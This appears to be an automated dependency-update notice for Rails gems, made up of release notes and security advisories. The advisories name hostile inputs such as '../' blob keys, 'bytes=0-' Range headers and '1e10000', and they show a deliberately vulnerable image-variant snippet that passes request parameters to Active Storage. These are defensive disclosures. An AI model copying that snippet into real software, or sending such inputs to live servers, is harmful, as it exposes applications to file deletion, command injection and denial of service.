  • Remove deprecated support to apply #connection_pool_list, #active_connections?, #clear_active_connections!, #clear_reloadable_connections!, #clear_all_connections! and #flush_idle_connections! to the connections pools for the current role when the role argument isn't provided.

    Rafael Mendonça França

  • Remove deprecated #all_connection_pools.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::ConnectionAdapters::SchemaCache#data_sources.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::ConnectionAdapters::SchemaCache.load_from.

    Rafael Mendonça França

  • Remove deprecated #all_foreign_keys_valid? from database adapters.

    Rafael Mendonça França

  • Remove deprecated support to passing coder and class as second argument to serialize.

    Rafael Mendonça França

  • Remove deprecated support to ActiveRecord::Base#read_attribute(:id) to return the custom primary key value.

    Rafael Mendonça França

  • Remove deprecated TestFixtures.fixture_path.

    Rafael Mendonça França

  • Remove deprecated behavior to support referring to a singular association by its plural name.

    Rafael Mendonça França

  • Deprecate Rails.application.config.active_record.allow_deprecated_singular_associations_name.

    Rafael Mendonça França

  • Remove deprecated support to passing SchemaMigration and InternalMetadata classes as arguments to ActiveRecord::MigrationContext.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::Migration.check_pending! method.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::LogSubscriber.runtime method.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::LogSubscriber.runtime= method.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::LogSubscriber.reset_runtime method.

    Rafael Mendonça França

  • Remove deprecated support to define explain in the connection adapter with 2 arguments.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::ActiveJobRequiredError.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::Base.clear_active_connections!.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::Base.clear_reloadable_connections!.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::Base.clear_all_connections!.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::Base.flush_idle_connections!.

    Rafael Mendonça França

  • Remove deprecated name argument from ActiveRecord::Base.remove_connection.

    Rafael Mendonça França

  • Remove deprecated support to call alias_attribute with non-existent attribute names.

    Rafael Mendonça França

  • Remove deprecated Rails.application.config.active_record.suppress_multiple_database_warning.

    Rafael Mendonça França

  • Add ActiveRecord::Encryption::MessagePackMessageSerializer.

    Serialize data to the MessagePack format, for efficient storage in binary columns.

    The binary encoding requires around 30% less space than the base64 encoding used by the default serializer.

    Donal McBreen

  • Add support for encrypting binary columns.

    Ensure encryption and decryption pass Type::Binary::Data around for binary data.

    Previously encrypting binary columns with the ActiveRecord::Encryption::MessageSerializer incidentally worked for MySQL and SQLite, but not PostgreSQL.

    Donal McBreen

  • Deprecated ENV["SCHEMA_CACHE"] in favor of schema_cache_path in the database configuration.

    Rafael Mendonça França

  • Add ActiveRecord::Base.with_connection as a shortcut for leasing a connection for a short duration.

    The leased connection is yielded, and for the duration of the block, any call to ActiveRecord::Base.connection will yield that same connection.

    This is useful to perform a few database operations without causing a connection to be leased for the entire duration of the request or job.

    Jean Boussier

  • Deprecate config.active_record.warn_on_records_fetched_greater_than now that sql.active_record notification includes :row_count field.

    Jason Nochlin

  • The fix ensures that the association is joined using the appropriate join type (either inner join or left outer join) based on the existing joins in the scope.

    This prevents unintentional overrides of existing join types and ensures consistency in the generated SQL queries.

    Example:

    # `associated` will use `LEFT JOIN` instead of using `JOIN`
    Post.left_joins(:author).where.associated(:author)

    Saleh Alhaddad

  • Fix an issue where ActiveRecord::Encryption configurations are not ready before the loading of Active Record models, when an application is eager loaded. As a result, encrypted attributes could be misconfigured in some cases.

    Maxime Réty

  • Deprecate defining an enum with keyword arguments.

    class Function > ApplicationRecord
    # BAD
    enum color: [:red, :blue],
    type: [:instance, :class]

    # GOOD
    enum :color, [:red, :blue]
    enum :type, [:instance, :class]
    end

    Hartley McGuire

  • Add config.active_record.validate_migration_timestamps option for validating migration timestamps.

    When set, validates that the timestamp prefix for a migration is no more than a day ahead of the timestamp associated with the current time. This is designed to prevent migrations prefixes from being hand-edited to future timestamps, which impacts migration generation and other migration commands.

    Adrianna Chang

  • Properly synchronize Mysql2Adapter#active? and TrilogyAdapter#active?.

    As well as disconnect! and verify!.

    This generally isn't a big problem as connections must not be shared between threads, but is required when running transactional tests or system tests and could lead to a SEGV.

    Jean Boussier

  • Support :source_location tag option for query log tags.

    config.active_record.query_log_tags << :source_location

    Calculating the caller location is a costly operation and should be used primarily in development (note, there is also a config.active_record.verbose_query_logs that serves the same purpose) or occasionally on production for debugging purposes.

    fatkodima

  • Add an option to ActiveRecord::Encryption::Encryptor to disable compression.

    Allow compression to be disabled by setting compress: false

      class User
        encrypts :name, encryptor: ActiveRecord::Encryption::Encryptor.new(compress: false)
      end

    Donal McBreen

  • Deprecate passing strings to ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename.

    A ActiveRecord::DatabaseConfigurations::DatabaseConfig object should be passed instead.

    Rafael Mendonça França

  • Add row_count field to sql.active_record notification.

    This field returns the amount of rows returned by the query that emitted the notification.

    This metric is useful in cases where one wants to detect queries with big result sets.

    Marvin Bitterlich

  • Consistently raise an ArgumentError when passing an invalid argument to a nested attributes association writer.

    Previously, this would only raise on collection associations and produce a generic error on singular associations.

    Now, it will raise on both collection and singular associations.

    Joshua Young

  • Fix single quote escapes on default generated MySQL columns.

    MySQL 5.7.5+ supports generated columns, which can be used to create a column that is computed from an expression.

    Previously, the schema dump would output a string with double escapes for generated columns with single quotes in the default expression.

    This would result in issues when importing the schema on a fresh instance of a MySQL database.

    Now, the string will not be escaped and will be valid Ruby upon importing of the schema.

    Yash Kapadia

  • Fix Migrations with versions older than 7.1 validating options given to add_reference and t.references.

    Hartley McGuire

  • Add <role>_types class method to ActiveRecord::DelegatedType so that the delegated types can be introspected.

    JP Rosevear

  • Make schema_dump, query_cache, replica and database_tasks configurable via DATABASE_URL.

    This wouldn't always work previously because boolean values would be interpreted as strings.

    e.g. DATABASE_URL=postgres://localhost/foo?schema_dump=false now properly disable dumping the schema cache.

    Mike Coutermarsh, Jean Boussier

  • Introduce ActiveRecord::Transactions::ClassMethods#set_callback.

    It is identical to ActiveSupport::Callbacks::ClassMethods#set_callback but with support for after_commit and after_rollback callback options.

    Joshua Young

  • Make ActiveRecord::Encryption::Encryptor agnostic of the serialization format used for encrypted data.

    Previously, the encryptor instance only allowed an encrypted value serialized as a String to be passed to the message serializer.

    Now, the encryptor lets the configured message_serializer decide which types of serialized encrypted values are supported. A custom serialiser is therefore allowed to serialize ActiveRecord::Encryption::Message objects using a type other than String.

    The default ActiveRecord::Encryption::MessageSerializer already ensures that only String objects are passed for deserialization.

    Maxime Réty

  • Fix encrypted_attribute? to take into account context properties passed to encrypts.

    Maxime Réty

  • The object returned by explain now responds to pluck, first, last, average, count, maximum, minimum, and sum. Those new methods run EXPLAIN on the corresponding queries:

    User.all.explain.count

    # EXPLAIN SELECT COUNT(*) FROM users
    # ...

    User.all.explain.maximum(:id)
    # EXPLAIN SELECT MAX(users.id) FROM users
    # ...

    Petrik de Heus

  • Fixes an issue where validates_associated :on option wasn't respected when validating associated records.

    Austen Madden, Alex Ghiculescu, Rafał Brize

  • Allow overriding SQLite defaults from database.yml.

    Any PRAGMA configuration set under the pragmas key in the configuration file takes precedence over Rails' defaults, and additional PRAGMAs can be set as well.

    database: storage/development.sqlite3
    timeout: 5000
    pragmas:
      journal_mode: off
      temp_store: memory

    Stephen Margheim

  • Remove warning message when running SQLite in production, but leave it unconfigured.

    There are valid use cases for running SQLite in production. However, it must be done with care, so instead of a warning most users won't see anyway, it's preferable to leave the configuration commented out to force them to think about having the database on a persistent volume etc.

    Jacopo Beschi, Jean Boussier

  • Add support for generated columns to the SQLite3 adapter.

    Generated columns (both stored and dynamic) are supported since version 3.31.0 of SQLite. This adds support for those to the SQLite3 adapter.

    create_table :users do |t|
      t.string :name
      t.virtual :name_upper, type: :string, as: 'UPPER(name)'
      t.virtual :name_lower, type: :string, as: 'LOWER(name)', stored: true
    end

    Stephen Margheim

  • TrilogyAdapter: ignore host if socket parameter is set.

    This allows to configure a connection on a UNIX socket via DATABASE_URL:

    DATABASE_URL=trilogy://does-not-matter/my_db_production?socket=/var/run/mysql.sock
    

    Jean Boussier

  • Make assert_queries_count, assert_no_queries, assert_queries_match, and assert_no_queries_match assertions public.

    To assert the expected number of queries are made, Rails internally uses assert_queries_count and assert_no_queries. To assert that specific SQL queries are made, assert_queries_match and assert_no_queries_match are used. These assertions can now be used in applications as well.

    class ArticleTest < ActiveSupport::TestCase
    test "queries are made" do
    assert_queries_count(1) { Article.first }
    end

    test "creates a foreign key" do
    assert_queries_match(/ADD FOREIGN KEY/i, include_schema: true) do
    @connection.add_foreign_key(:comments, :posts)
    end
    end
    end

    Petrik de Heus, fatkodima

  • Fix has_secure_token calls the setter method on initialize.

    Abeid Ahmed

  • When using a DATABASE_URL, allow for a configuration to map the protocol in the URL to a specific database adapter. This allows decoupling the adapter the application chooses to use from the database connection details set in the deployment environment.

    # ENV['DATABASE_URL'] = "mysql://localhost/example_database"
    config.active_record.protocol_adapters.mysql = "trilogy"
    # will connect to MySQL using the trilogy adapter

    Jean Boussier, Kevin McPhillips

  • In cases where MySQL returns warning_count greater than zero, but returns no warnings when the SHOW WARNINGS query is executed, ActiveRecord.db_warnings_action proc will still be called with a generic warning message rather than silently ignoring the warning(s).

    Kevin McPhillips

  • DatabaseConfigurations#configs_for accepts a symbol in the name parameter.

    Andrew Novoselac

  • Fix where(field: values) queries when field is a serialized attribute (for example, when field uses ActiveRecord::Base.serialize or is a JSON column).

    João Alves

  • Make the output of ActiveRecord::Core#inspect configurable.

    By default, calling inspect on a record will yield a formatted string including just the id.

    Post.first.inspect #=> "#<Post id: 1>"

    The attributes to be included in the output of inspect can be configured with ActiveRecord::Core#attributes_for_inspect.

    Post.attributes_for_inspect = [:id, :title]
    Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!">"

    With attributes_for_inspect set to :all, inspect will list all the record's attributes.

    Post.attributes_for_inspect = :all
    Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"

    In development and test mode, attributes_for_inspect will be set to :all by default.

    You can also call full_inspect to get an inspection with all the attributes.

    The attributes in attribute_for_inspect will also be used for pretty_print.

    Andrew Novoselac

  • Don't mark attributes as changed when reassigned to Float::INFINITY or -Float::INFINITY.

    Maicol Bentancor

  • Support the RETURNING clause for MariaDB.

    fatkodima, Nikolay Kondratyev

  • The SQLite3 adapter now implements the supports_deferrable_constraints? contract.

    Allows foreign keys to be deferred by adding the :deferrable key to the foreign_key options.

    add_reference :person, :alias, foreign_key: { deferrable: :deferred }
    add_reference :alias, :person, foreign_key: { deferrable: :deferred }

    Stephen Margheim

  • Add the set_constraints helper to PostgreSQL connections.

    Post.create!(user_id: -1) # => ActiveRecord::InvalidForeignKey

    Post.transaction do
    Post.connection.set_constraints(:deferred)
    p = Post.create!(user_id: -1)
    u = User.create!
    p.user = u
    p.save!
    end

    Cody Cutrer

  • Include ActiveModel::API in ActiveRecord::Base.

    Sean Doyle

  • Ensure #signed_id outputs url_safe strings.

    Jason Meller

  • Add nulls_last and working desc.nulls_first for MySQL.

    Tristan Fellows

  • Allow for more complex hash arguments for order which mimics where in ActiveRecord::Relation.

    Topic.includes(:posts).order(posts: { created_at: :desc })

    Myles Boone

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activestorage (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests

Impact

Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher thwin_htet.

🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests

Impact

Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher thwin_htet.

🚨 Rails Active Storage has a possible DoS vulnerability in proxy mode via multi-range requests

Impact

Active Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher thwin_htet.

🚨 Rails Active Storage has possible Path Traversal in DiskService

Impact

Active Storage's DiskService#path_for does not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g. ../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher ksw9722.

🚨 Rails Active Storage has possible glob injection in its DiskService

Impact

Active Storage's DiskService#delete_prefixed passes blob keys directly to Dir.glob without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.

Releases

The fixed releases are available at the normal locations.

🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads

Impact

Active Storage's DirectUploadsController accepts arbitrary metadata from the client and persists it on the blob. Because internal flags like identified and analyzed are stored in the same metadata hash, a malicious direct-upload client could set these flags.

Releases

The fixed releases are available at the normal locations.

Credit

This was responsible reported by Hackerone researcher pwnie

🚨 Rails Active Storage has possible Path Traversal in DiskService

Impact

Active Storage's DiskService#path_for does not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g. ../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher ksw9722.

🚨 Rails Active Storage has possible glob injection in its DiskService

Impact

Active Storage's DiskService#delete_prefixed passes blob keys directly to Dir.glob without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.

Releases

The fixed releases are available at the normal locations.

🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests

Impact

When serving files through Active Storage's Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone user pirikara

🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads

Impact

Active Storage's DirectUploadsController accepts arbitrary metadata from the client and persists it on the blob. Because internal flags like identified and analyzed are stored in the same metadata hash, a malicious direct-upload client could set these flags.

Releases

The fixed releases are available at the normal locations.

Credit

This was responsible reported by Hackerone researcher pwnie

🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests

Impact

When serving files through Active Storage's Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone user pirikara

🚨 Rails Active Storage has possible Path Traversal in DiskService

Impact

Active Storage's DiskService#path_for does not validate that the resolved filesystem path remains within the storage root directory. If a blob key containing path traversal sequences (e.g. ../) is used, it could allow reading, writing, or deleting arbitrary files on the server. Blob keys are expected to be trusted strings, but some applications could be passing user input as keys and would be affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher ksw9722.

🚨 Rails Active Storage has possible glob injection in its DiskService

Impact

Active Storage's DiskService#delete_prefixed passes blob keys directly to Dir.glob without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory.

Releases

The fixed releases are available at the normal locations.

🚨 Rails Active Storage has possible content type bypass via metadata in direct uploads

Impact

Active Storage's DirectUploadsController accepts arbitrary metadata from the client and persists it on the blob. Because internal flags like identified and analyzed are stored in the same metadata hash, a malicious direct-upload client could set these flags.

Releases

The fixed releases are available at the normal locations.

Credit

This was responsible reported by Hackerone researcher pwnie

🚨 Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests

Impact

When serving files through Active Storage's Blobs::ProxyController, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. bytes=0-) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone user pirikara

🚨 Active Storage allowed transformation methods that were potentially unsafe

Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.

The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.

This has been assigned the CVE identifier CVE-2025-24293.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1

Impact

This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.

Vulnerable code will look something similar to this:

<%= image_tag blob.variant(params[:t] => params[:v]) %>

Where the transformation method or its arguments are untrusted arbitrary input.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.

Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.

Credits

Thank you lio346 from Unit 515 of OPSWAT for reporting this!

🚨 Active Storage allowed transformation methods that were potentially unsafe

Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.

The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.

This has been assigned the CVE identifier CVE-2025-24293.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1

Impact

This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.

Vulnerable code will look something similar to this:

<%= image_tag blob.variant(params[:t] => params[:v]) %>

Where the transformation method or its arguments are untrusted arbitrary input.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.

Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.

Credits

Thank you lio346 from Unit 515 of OPSWAT for reporting this!

Release Notes

8.0.1 (from changelog)

  • No changes.

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Remove deprecated config.active_storage.silence_invalid_content_types_warning.

    Rafael Mendonça França

  • Remove deprecated config.active_storage.replace_on_assign_to_many.

    Rafael Mendonça França

  • Add support for custom key in ActiveStorage::Blob#compose.

    Elvin Efendiev

  • Add image/webp to config.active_storage.web_image_content_types when load_defaults "7.2" is set.

    Lewis Buckley

  • Fix JSON-encoding of ActiveStorage::Filename instances.

    Jonathan del Strother

  • Fix N+1 query when fetching preview images for non-image assets.

    Aaron Patterson & Justin Searls

  • Fix all Active Storage database related models to respect ActiveRecord::Base.table_name_prefix configuration.

    Chedli Bourguiba

  • Fix ActiveStorage::Representations::ProxyController not returning the proper preview image variant for previewable files.

    Chedli Bourguiba

  • Fix ActiveStorage::Representations::ProxyController to proxy untracked variants.

    Chedli Bourguiba

  • When using the preprocessed: true option, avoid enqueuing transform jobs for blobs that are not representable.

    Chedli Bourguiba

  • Prevent ActiveStorage::Blob#preview to generate a variant if an empty variation is passed.

    Calls to #url, #key or #download will now use the original preview image instead of generating a variant with the exact same dimensions.

    Chedli Bourguiba

  • Process preview image variant when calling ActiveStorage::Preview#processed.

    For example, attached_pdf.preview(:thumb).processed will now immediately generate the full-sized preview image and the :thumb variant of it. Previously, the :thumb variant would not be generated until a further call to e.g. processed.url.

    Chedli Bourguiba and Jonathan Hefner

  • Prevent ActiveRecord::StrictLoadingViolationError when strict loading is enabled and the variant of an Active Storage preview has already been processed (for example, by calling ActiveStorage::Preview#url).

    Jonathan Hefner

  • Fix preprocessed: true option for named variants of previewable files.

    Nico Wenterodt

  • Allow accepting service as a proc as well in has_one_attached and has_many_attached.

    Yogesh Khater

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activesupport (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

Impact

NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher scyoon.

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

Impact

SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by @ch4n3-yoon

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Impact

Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher manun.

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

Impact

NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher scyoon.

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

Impact

SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by @ch4n3-yoon

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Impact

Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher manun.

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

Impact

NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher scyoon.

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

Impact

SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by @ch4n3-yoon

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Impact

Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher manun.

Release Notes

8.0.1 (from changelog)

  • Fix a bug in ERB::Util.tokenize that causes incorrect tokenization when ERB tags are preceeded by multibyte characters.

    Martin Emde

  • Restore the ability to decorate methods generated by class_attribute.

    It always has been complicated to use Module#prepend or an alias method chain to decorate methods defined by class_attribute, but became even harder in 8.0.

    This capability is now supported for both reader and writer methods.

    Jean Boussier

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • Include options when instrumenting ActiveSupport::Cache::Store#delete and ActiveSupport::Cache::Store#delete_multi.

    Adam Renberg Tamm

  • Print test names when running rails test -v for parallel tests.

    John Hawthorn, Abeid Ahmed

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Fix delegate_missing_to allow_nil: true when called with implict self

    class Person
    delegate_missing_to :address, allow_nil: true

    def address
    nil
    end

    def berliner?
    city == "Berlin"
    end
    end

    Person.new.city # => nil
    Person.new.berliner? # undefined local variable or method `city' for an instance of Person (NameError)

    Jean Boussier

  • Add logger as a dependency since it is a bundled gem candidate for Ruby 3.5

    Earlopain

  • Define Digest::UUID.nil_uuid, which returns the so-called nil UUID.

    Xavier Noria

  • Support duration type in ActiveSupport::XmlMini.

    heka1024

  • Remove deprecated ActiveSupport::Notifications::Event#children and ActiveSupport::Notifications::Event#parent_of?.

    Rafael Mendonça França

  • Remove deprecated support to call the following methods without passing a deprecator:

    • deprecate
    • deprecate_constant
    • ActiveSupport::Deprecation::DeprecatedObjectProxy.new
    • ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new
    • ActiveSupport::Deprecation::DeprecatedConstantProxy.new
    • assert_deprecated
    • assert_not_deprecated
    • collect_deprecations

    Rafael Mendonça França

  • Remove deprecated ActiveSupport::Deprecation delegation to instance.

    Rafael Mendonça França

  • Remove deprecated SafeBuffer#clone_empty.

    Rafael Mendonça França

  • Remove deprecated #to_default_s from Array, Date, DateTime and Time.

    Rafael Mendonça França

  • Remove deprecated support to passing Dalli::Client instances to MemCacheStore.

    Rafael Mendonça França

  • Remove deprecated config.active_support.use_rfc4122_namespaced_uuids.

    Rafael Mendonça França

  • Remove deprecated config.active_support.remove_deprecated_time_with_zone_name.

    Rafael Mendonça França

  • Remove deprecated config.active_support.disable_to_s_conversion.

    Rafael Mendonça França

  • Remove deprecated support to bolding log text with positional boolean in ActiveSupport::LogSubscriber#color.

    Rafael Mendonça França

  • Remove deprecated constants ActiveSupport::LogSubscriber::CLEAR and ActiveSupport::LogSubscriber::BOLD.

    Rafael Mendonça França

  • Remove deprecated support for config.active_support.cache_format_version = 6.1.

    Rafael Mendonça França

  • Remove deprecated :pool_size and :pool_timeout options for the cache storage.

    Rafael Mendonça França

  • Warn on tests without assertions.

    ActiveSupport::TestCase now warns when tests do not run any assertions. This is helpful in detecting broken tests that do not perform intended assertions.

    fatkodima

  • Support hexBinary type in ActiveSupport::XmlMini.

    heka1024

  • Deprecate ActiveSupport::ProxyObject in favor of Ruby's built-in BasicObject.

    Earlopain

  • stub_const now accepts a exists: false parameter to allow stubbing missing constants.

    Jean Boussier

  • Make ActiveSupport::BacktraceCleaner copy filters and silencers on dup and clone.

    Previously the copy would still share the internal silencers and filters array, causing state to leak.

    Jean Boussier

  • Updating Astana with Western Kazakhstan TZInfo identifier.

    Damian Nelson

  • Add filename support for ActiveSupport::Logger.logger_outputs_to?.

    logger = Logger.new('/var/log/rails.log')
    ActiveSupport::Logger.logger_outputs_to?(logger, '/var/log/rails.log')

    Christian Schmidt

  • Include IPAddr#prefix when serializing an IPAddr using the ActiveSupport::MessagePack serializer.

    This change is backward and forward compatible — old payloads can still be read, and new payloads will be readable by older versions of Rails.

    Taiki Komaba

  • Add default: support for ActiveSupport::CurrentAttributes.attribute.

    class Current < ActiveSupport::CurrentAttributes
      attribute :counter, default: 0
    end

    Sean Doyle

  • Yield instance to Object#with block.

    client.with(timeout: 5_000) do |c|
      c.get("/commits")
    end

    Sean Doyle

  • Use logical core count instead of physical core count to determine the default number of workers when parallelizing tests.

    Jonathan Hefner

  • Fix Time.now/DateTime.now/Date.today to return results in a system timezone after #travel_to.

    There is a bug in the current implementation of #travel_to: it remembers a timezone of its argument, and all stubbed methods start returning results in that remembered timezone. However, the expected behavior is to return results in a system timezone.

    Aleksei Chernenkov

  • Add ErrorReported#unexpected to report precondition violations.

    For example:

    def edit
      if published?
        Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible")
        return false
      end
      # ...
    end

    The above will raise an error in development and test, but only report the error in production.

    Jean Boussier

  • Make the order of read_multi and write_multi notifications for Cache::Store#fetch_multi operations match the order they are executed in.

    Adam Renberg Tamm

  • Make return values of Cache::Store#write consistent.

    The return value was not specified before. Now it returns true on a successful write, nil if there was an error talking to the cache backend, and false if the write failed for another reason (e.g. the key already exists and unless_exist: true was passed).

    Sander Verdonschot

  • Fix logged cache keys not always matching actual key used by cache action.

    Hartley McGuire

  • Improve error messages of assert_changes and assert_no_changes.

    assert_changes error messages now display objects with .inspect to make it easier to differentiate nil from empty strings, strings from symbols, etc. assert_no_changes error messages now surface the actual value.

    pcreux

  • Fix #to_fs(:human_size) to correctly work with negative numbers.

    Earlopain

  • Fix BroadcastLogger#dup so that it duplicates the logger's broadcasts.

    Andrew Novoselac

